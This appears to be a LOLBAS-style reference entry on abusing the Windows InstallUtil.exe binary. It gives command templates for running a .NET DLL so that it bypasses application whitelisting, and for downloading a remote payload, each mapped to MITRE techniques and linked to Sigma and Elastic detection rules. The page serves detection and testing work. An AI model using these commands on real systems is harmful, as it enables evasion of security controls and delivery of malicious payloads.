Installutil.exe

Execute the target .NET DLL or EXE.

Use Use to execute code and bypass application whitelisting

InstallUtil.exe /logfile= /LogToConsole=false /U {PATH:.dll}

Evidence

Upstream reference

Environment

Local host

Context

user

Native

AWL Bypass

MITRE

T1218.004

Detection

Sigma: github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_instalutil_no_log_execution.yml

Sigma: github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_installutil_download.yml

Elastic: github.com/elastic/detection-rules/blob/cc241c0b5ec590d76cb88ec638d3cc37f68b5d50/rules/windows/defense_evasion_installutil_beacon.toml

Elastic: github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml

Refs

pentestlab.blog/2017/05/08/applocker-bypass-installutil/

evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_12

github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218.004/T1218.004.md

www.blackhillsinfosec.com/powershell-without-powershell-how-to-bypass-application-whitelisting-environment-restrictions-av/

oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/

docs.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool

lolbas-project.github.io/lolbas/Binaries/Installutil/

Execute the target .NET DLL or EXE.

Use Use to execute code and bypass application whitelisting

InstallUtil.exe /logfile= /LogToConsole=false /U {PATH:.dll}

Evidence

Upstream reference

Environment

Local host

Context

user

Native

Execute

MITRE

T1218.004

Detection

Sigma: github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_instalutil_no_log_execution.yml

Sigma: github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_installutil_download.yml

Elastic: github.com/elastic/detection-rules/blob/cc241c0b5ec590d76cb88ec638d3cc37f68b5d50/rules/windows/defense_evasion_installutil_beacon.toml

Elastic: github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml

Refs

pentestlab.blog/2017/05/08/applocker-bypass-installutil/

evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_12

github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218.004/T1218.004.md

www.blackhillsinfosec.com/powershell-without-powershell-how-to-bypass-application-whitelisting-environment-restrictions-av/

oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/

docs.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool

lolbas-project.github.io/lolbas/Binaries/Installutil/

It will download a remote payload and place it in INetCache.

Use Downloads payload from remote server

InstallUtil.exe {REMOTEURL}

Evidence

Upstream reference

Environment

Local host

Context

user

Native

Download

MITRE

T1105

Detection

Sigma: github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_instalutil_no_log_execution.yml

Sigma: github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_installutil_download.yml

Elastic: github.com/elastic/detection-rules/blob/cc241c0b5ec590d76cb88ec638d3cc37f68b5d50/rules/windows/defense_evasion_installutil_beacon.toml

Elastic: github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml

Refs

pentestlab.blog/2017/05/08/applocker-bypass-installutil/

evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_12

github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218.004/T1218.004.md

www.blackhillsinfosec.com/powershell-without-powershell-how-to-bypass-application-whitelisting-environment-restrictions-av/

oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/

docs.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool

lolbas-project.github.io/lolbas/Binaries/Installutil/